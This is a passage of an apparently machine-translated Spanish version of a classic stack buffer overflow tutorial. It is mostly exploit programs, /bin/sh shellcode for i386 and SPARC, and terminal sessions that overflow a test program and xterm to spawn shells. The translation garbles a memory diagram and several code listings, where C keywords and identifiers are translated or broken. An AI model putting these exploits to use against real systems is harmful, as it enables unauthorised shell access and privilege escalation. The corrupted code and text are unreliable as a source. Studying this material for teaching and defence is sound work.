que usaremos para desbordar el buffer. Sabemos que debemos apuntar la dirección de retorno de vuelta al
buffer. Este ejemplo demostrará estos puntos:
desbordamiento1.c
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char
cadena_grande[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) cadena_grande;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
cadena_grande[i] = shellcode[i];
strcpy(buffer,cadena_grande);
}
[aleph1]$ gcc -o exploit1
exploit1.c [aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
Lo que hemos hecho arriba es llenar el array large_string[] con la dirección de buffer[], que es donde estará
nuestro código. Luego copiamos nuestro shellcode al principio de la cadena large_string. strcpy() copiará
entonces large_string en buffer sin hacer ninguna comprobación de límites, y desbordará la dirección de retorno,
sobrescribiéndola con la dirección donde se encuentra ahora nuestro código. Una vez que llegamos al final de
main e intentó retornar salta a nuestro código, y ejecuta un shell. El problema al que nos enfrentamos cuando
intentamos desbordar el buffer de otro programa es intentar averiguar en qué dirección estará el buffer (y por
tanto nuestro código). La respuesta es que para cada programa la pila comenzará en la misma dirección. La
mayoría de los programas no introducen más de unos cientos o miles de bytes en la pila en un momento dado.
Por lo tanto, sabiendo dónde empieza la pila podemos intentar adivinar dónde estará el buffer que estamos
intentando desbordar. Aquí hay un pequeño programa que imprimirá su puntero de pila:
sp.c
unsigned long get_sp(void) {
asm ( "movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
[aleph1]$ ./sp
0x8000470
[aleph1]$
Supongamos que este es el programa que estamos tratando de desbordamiento es: vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
Podemos crear un programa que tome como parámetro un tamaño de buffer, y un offset de su propio puntero
de pila (donde creemos que puede vivir el buffer que queremos desbordar). Pondremos la cadena de
desbordamiento en una variable de entorno para que sea fácil de manipular:
exploit2.c
#include <stdlib.h>
#define DEFAULT_OFFSET
#define DEFAULT_BUFFER_SIZE
0
512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
asm ( "movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("No se puede asignar
memoria.\n"); exit(0);
}
addr = get_sp() - offset;
printf("Usando dirección: 0x%x\n",
addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize;
i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) =
shellcode[i]; buff[bsize
- 1] = '\0';
memcpy(buff, "EGG=",4);
putenv(buff);
system("/bin/bash");
}
Ahora podemos intentar adivinar cuál debe ser el buffer y el offset:
[aleph1]$ ./exploit2 500
Usando dirección:
0xbffffdb4 [aleph1]$
./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Usando dirección:
0xbffffdb4 [aleph1]$
./vulnerable $EGG
Instrucción ilegal
[aleph1]$ exit
[aleph1]$ ./exploit2 600
100 Usando dirección:
0xbffffd4c [aleph1]$
./vulnerable $EGG Fallo de
segmentación [aleph1]$ exit
[aleph1]$ ./exploit2 600
200 Usando dirección:
0xbffffce8 [aleph1]$
./vulnerable $EGG Fallo de
segmentación [aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Usando dirección: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
Como podemos ver, este no es un proceso eficiente. Intentar adivinar el desplazamiento incluso sabiendo
dónde está el principio de la pila es casi imposible. Necesitaríamos en el mejor de los casos cien intentos, y
en el peor un par de miles. El problema es que necesitamos adivinar *exactamente* dónde empezará la
dirección de nuestro código. Si nos equivocamos por un byte más o menos obtendremos una violación de
segmentación o una instrucción inválida. Una forma de aumentar nuestras posibilidades es rellenar la parte
delantera de nuestro búfer de desbordamiento con instrucciones NOP. Casi todos los procesadores tienen una
instrucción NOP que realiza una operación nula. Normalmente se utiliza para retrasar la ejecución con fines
de sincronización. Nos aprovecharemos de ello y llenaremos la mitad de nuestro búfer de desbordamiento
con ellas. Colocaremos nuestro shellcode en el centro, y luego lo seguiremos con las direcciones de
retorno. Si tenemos suerte y la dirección de retorno apunta a cualquier parte de la cadena de NOPs,
simplemente se ejecutarán hasta llegar a nuestro código. En la arquitectura Intel la instrucción NOP tiene un
fondo de
latraduce
memoria
DDDDDDDDEEEEEEEEEEE
EEEE FFFF que
FFFF
FFFF
y se
a 0x90
en código máquina. Asumiendo
la pila
comienzaparte
en la direcc ión
byte de longitud
FFFF89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF
0xFF, q ue S significa código shell, y que N significa una instrucción NOP la nueva pila sesuper
vería así:
ior
búfer
sfp
ret
a
b
c
<-------- [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^
|
|
|
arriba deabajo de
pila
de la
memori
a
apila
r
El nuevo exploit es entonces exploit3.c
#include <stdlib.h>
#define DEFAULT_OFFSET
#define DEFAULT_BUFFER_SIZE
#define NOP
0
512
0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
asm ( "movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("No se puede asignar
memoria.\n"); exit(0);
}
addr = get_sp() - offset;
printf("Usando dirección: 0x%x\n",
addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize;
i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) =
shellcode[i]; buff[bsize
- 1] = '\0';
memcpy(buff, "EGG=",4);
putenv(buff);
system("/bin/bash");
}
Una buena selección para el tamaño de nuestro buffer es unos 100 bytes más que el tamaño del buffer que
estamos intentando desbordar. Esto colocará nuestro código al final del buffer que estamos tratando de
desbordar, dando mucho espacio para los NOPs, pero aún sobrescribiendo la dirección de retorno con la
dirección que adivinamos. El buffer que estamos intentando desbordar tiene 512 bytes, así que usaremos 612.
Intentemos desbordar nuestro programa de prueba con nuestro nuevo exploit:
[aleph1]$ ./exploit3 612
Usando dirección:
0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
¡Vaya! ¡Primer intento! Este cambio ha centuplicado nuestras posibilidades. Probémoslo ahora en un caso real
de desbordamiento de búfer. Usaremos para nuestra demostración el desbordamiento de búfer en la librería Xt.
Para nuestro ejemplo, usaremos xterm (todos los programas enlazados con la librería Xt son vulnerables).
Debe estar ejecutando un servidor X y permitir conexiones a él desde el localhost. Configure su variable
DISPLAY en consecuencia.
[aleph1]$ export
DISPLAY=:0.0 [aleph1]$
./exploit3 1124 Usando
dirección: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Usando dirección: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
....
Advertencia: se han perdido algunos argumentos del
mensaje anterior Instrucción ilegal
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Usando dirección: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Advertencia: se han perdido algunos argumentos del
mensaje anterior bash$
¡Eureka! Menos de una docena de intentos y encontramos los números mágicos. Si xterm se instalara suid
root esto sería ahora un shell de root.
Pequeños desbordamientos del búfer
Habrá ocasiones en las que el buffer que estamos intentando desbordar sea tan pequeño que, o bien el
shellcode no quepa en él, y sobrescriba la dirección de retorno con instrucciones en lugar de la dirección de
nuestro código, o bien el número de NOPs con los que podemos rellenar la parte delantera de la cadena sea
tan pequeño que las posibilidades de adivinar su dirección sean minúsculas. Para obtener un shell de estos
programas tendremos que hacerlo de otra manera. Este enfoque en particular sólo funciona cuando se tiene
acceso a las variables de entorno del programa. Lo que haremos es colocar nuestro shellcode en una variable
de entorno, y luego desbordar el buffer con la dirección de esta variable en memoria. Este método también
aumenta las posibilidades de que el exploit funcione, ya que puedes hacer que la variable de entorno que
contiene el código shell sea tan grande como quieras. Las variables de entorno se almacenan en la parte
superior de la pila cuando se inicia el programa, cualquier modificación por setenv() se asignan en otro lugar.
La pila al principio se ve así:
<cadenas><argv punteros>NULL<envp punteros>NULL<argc><argv>envp>
Nuestro nuevo programa tomará una variable extra, el tamaño de la variable que contiene el shellcode y
NOPs. Nuestro nuevo exploit ahora se ve así:
exploit4.c
#include <stdlib.h>
#define
#define
#define
#define
DEFAULT_OFFSET
DEFAULT_BUFFER_SIZE
DEFAULT_EGG_SIZE
NOP
0
512
2048
0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
asm ( "movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if
(argc
>
3)
eggsize
=
atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("No se puede asignar
memoria.\n"); exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("No se puede asignar
memoria.\n"); exit(0);
}
addr = get_esp() - offset;
printf("Usando dirección: 0x%x\n",
addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize;
i+=4)
*(addr_ptr++) = addr;
ptr = huevo;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=",4);
putenv(egg); memcpy(buff,
"RET=",4); putenv(buff);
system("/bin/bash");
}
Vamos a probar nuestro nuevo exploit con nuestro programa de prueba vulnerable:
[aleph1]$ ./exploit4 768
Usando dirección:
0xbffffdb0 [aleph1]$
./vulnerable $RET
$
Funciona a las mil maravillas. Ahora vamos a probarlo en xterm:
[aleph1]$ export
DISPLAY=:0.0 [aleph1]$
./exploit4 2148 Usando
dirección: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg
$RET Advertencia: Nombre de color
...°¤ÿ¿°¤ÿ¿°¤ ...
Advertencia: se han perdido algunos argumentos del mensaje anterior
$
Al primer intento. Sin duda ha aumentado nuestras probabilidades. Dependiendo de cuántos datos de entorno
tenga el programa de explotación en comparación con el programa que estás intentando explotar, la dirección
adivinada puede ser demasiado baja o demasiado alta. Experimenta tanto con offsets positivos como
negativos.
Búsqueda de desbordamientos de búfer
Como se ha dicho antes, los desbordamientos de búfer son el resultado de introducir más información en un
búfer de la que puede contener. Como C no tiene ninguna comprobación de límites incorporada, los
desbordamientos a menudo se manifiestan escribiendo más allá del final de una matriz de caracteres. La
biblioteca estándar de C proporciona una serie de funciones para copiar o añadir cadenas, que no realizan
ninguna comprobación de límites. Entre ellas se incluyen: strcat(), strcpy(), sprintf() y vsprintf(). Estas
funciones operan con cadenas sin terminación y no comprueban el desbordamiento de la cadena receptora.
gets() es una función que lee una línea de la entrada estándar en un búfer hasta una nueva línea de
terminación o EOF. No realiza comprobaciones de desbordamiento del búfer. La familia de funciones scanf()
también puede ser un problema si está comparando una secuencia de caracteres que no son espacios en
blanco (%s), o comparando una secuencia no vacía de caracteres de un conjunto especificado (%[]), y el array
apuntado por el puntero char, no es lo suficientemente grande como para aceptar toda la secuencia de
caracteres, y no ha definido el ancho de campo máximo opcional. Si el objetivo de cualquiera de estas
funciones es un buffer de tamaño estático, y su otro argumento fue de alguna manera derivado de la entrada
del usuario hay una buena posibilidad
que podría ser capaz de explotar un desbordamiento de búfer. Otra construcción de programación habitual
que encontramos es el uso de un bucle while para leer un carácter cada vez en un buffer desde stdin o algún
fichero hasta alcanzar el final de línea, final de fichero o algún otro delimitador. Este tipo de construcción
normalmente utiliza una de estas funciones: getc(), fgetc(), o getchar(). Si no hay comprobaciones explícitas
de desbordamientos en el bucle while, este tipo de programas son fácilmente explotables. Para concluir,
grep(1) es tu amigo. Las fuentes de los sistemas operativos libres y sus utilidades están fácilmente
disponibles.
Este hecho se vuelve bastante interesante una vez que te das cuenta de que muchas utilidades de sistemas
operativos comerciales se derivan de las mismas fuentes que las gratuitas. Utilice la fuente d00d.
Apéndice A - Shellcode para diferentes sistemas
operativos/arquitecturas
i386/Linux
SPARC/Solaris
SPARC/SunOS
jmp
0x1f
popl
%esi
movl
%esi,0x8(%esi)
xorl
%eax,%eax
movb
%eax,0x7(%esi)
movl
%eax,0xc(%esi)
movb
$0xb,%al
movl
%esi,%ebx
leal
0x8(%esi),%ecx
leal
0xc(%esi),%edx
int
$0x80
xorl
%ebx,%ebx
movl
%ebx,%eax
inc
%eax
int
$0x80
llame -0x24
a
.string \"/bin/sh\"
sethi
o
sethi
y
añada
xor
añada
std
st
st
mov
ta
xor
mov
ta
sethi
o
sethi
y
añada
xor
añada
std
st
st
mov
mov
ta
xor
mov
ta
0xbd89a, %l6
%l6, 0x16e, %l6
0xbdcda, %l7
%sp, %sp, %o0
%sp, 8, %o1
%o2, %o2, %o2
%sp, 16, %sp
%l6, [%sp - 16]
%sp, [%sp - 8]
%g0, [%sp - 4]
0x3b, %g1
8
%o7, %o7, %o0
1, %g1
8
0xbd89a, %l6
%l6, 0x16e, %l6
0xbdcda, %l7
%sp, %sp, %o0
%sp, 8, %o1
%o2, %o2, %o2
%sp, 16, %sp
%l6, [%sp - 16]
%sp, [%sp - 8]
%g0, [%sp - 4]
0x3b, %g1
-0x1, %l5
%l5 + 1
%o7, %o7, %o0
1, %g1
%l5 + 1
Apéndice B - Programa genérico de desbordamiento del búfer
shellcode.h
#if defined( i386 ) && defined( linux )
#define NOP_SIZE
1
char
nop[]
=
"\x90";
char
shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
asm ( "movl %esp,%eax");
}
#elif defined( sparc ) && defined( sun ) && defined( svr4 )
#define NOP_SIZE
4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
asm ( "o %sp, %sp, %i0");
}
#elif defined( sparc ) && defined( sun )
#define NOP_SIZE
4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
asm ( "o %sp, %sp, %i0");
}
#endif
cáscara.c
/*
* cáscara de huevo v1.0
*
* Aleph One / aleph1@underground.org
*/
#include
#include stdio.h
#include "shellcode.h"
#define DEFAULT_OFFSET
#define DEFAULT_BUFFER_SIZE
#define DEFAULT_EGG_SIZE
0
512
2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) !=
EOF) switch (c) {
caso 'a':
align = atoi(optarg);
break;
caso 'b':
bsize = atoi(optarg);
break;
caso 'e':
eggize = atoi(optarg);
break;
caso 'o':
offset = atoi(optarg);
break;
caso '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode es mayor que el huevo.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("No se puede asignar
memoria.\n"); exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("No se puede asignar
memoria.\n"); exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\ttEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Dirección:\t0x%x\tDesplazamiento:\t\t%d\t\t\t]\n", addr, desplazamiento);
addr_ptr = (long *) bof;
for (i = 0; i < bsize;
i+=4)
*(addr_ptr++) = addr;
ptr = huevo;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i +=
NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=",4);
putenv(egg);
memcpy(bof, "BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a ] [-b ] [-e ] [-o ]\n");
}
Download